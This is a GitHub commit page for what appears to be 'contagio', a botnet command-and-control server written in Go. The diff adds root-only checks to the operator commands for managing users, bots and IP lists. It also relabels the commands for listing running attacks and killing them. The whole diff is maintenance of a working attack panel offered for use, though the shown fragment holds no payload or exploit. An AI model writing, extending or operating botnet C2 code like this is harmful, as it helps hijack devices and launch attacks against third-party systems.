Skip to content

Commit

Permalink
bug fixed (issue #5)
Browse files Browse the repository at this point in the history
  • Loading branch information
TryZeroOne committed Jun 28, 2023
1 parent 1faa05c commit ade4545
Show file tree
Hide file tree
Showing 2 changed files with 7 additions and 2 deletions.
5 changes: 5 additions & 0 deletions contagio/cnc/handler.go
Original file line number Diff line number Diff line change
Expand Up @@ -183,6 +183,7 @@ func Adduser(command string, c *Connection) {
var suc = GeneratePrompt(c.config.Cnc.CommandExecuted)

if c.login != c.config.RootLogin {
c.conn.Write([]byte(GeneratePrompt(c.config.Cnc.UnknownCommandError)))
return
}

Expand All @@ -206,6 +207,7 @@ func Bots(command string, c *Connection) {
defer Catch()

if c.login != c.config.RootLogin {
c.conn.Write([]byte(GeneratePrompt(c.config.Cnc.UnknownCommandError)))
return
}

Expand All @@ -230,6 +232,7 @@ func RemoveUser(command string, c *Connection) {
var suc = GeneratePrompt(c.config.Cnc.CommandExecuted)

if c.login != c.config.RootLogin {
c.conn.Write([]byte(GeneratePrompt(c.config.Cnc.UnknownCommandError)))
return
}

Expand Down Expand Up @@ -257,6 +260,7 @@ func AddIp(command string, c *Connection) {
var suc = GeneratePrompt(c.config.Cnc.CommandExecuted)

if c.login != c.config.RootLogin {
c.conn.Write([]byte(GeneratePrompt(c.config.Cnc.UnknownCommandError)))
return
}

Expand Down Expand Up @@ -285,6 +289,7 @@ func RemoveIp(command string, c *Connection) {
var suc = GeneratePrompt(c.config.Cnc.CommandExecuted)

if c.login != c.config.RootLogin {
c.conn.Write([]byte(GeneratePrompt(c.config.Cnc.UnknownCommandError)))
return
}

Expand Down
4 changes: 2 additions & 2 deletions contagio/cnc/types.go
Original file line number Diff line number Diff line change
Expand Up @@ -101,13 +101,13 @@ var CmdList = map[int]CommandsInfo{
function: Methods,
},
6: {
Description: "Running",
Description: "View active attacks",
Name: "running",
Uint8: []byte{114, 117, 110, 110, 105, 110, 103},
function: RunningCnc,
},
7: {
Description: "kill",
Description: "Stop the attack",
Name: "kill",
Uint8: []byte{107, 105, 108, 108},
function: KillAttack,
Expand Down

0 comments on commit ade4545

Please sign in to comment.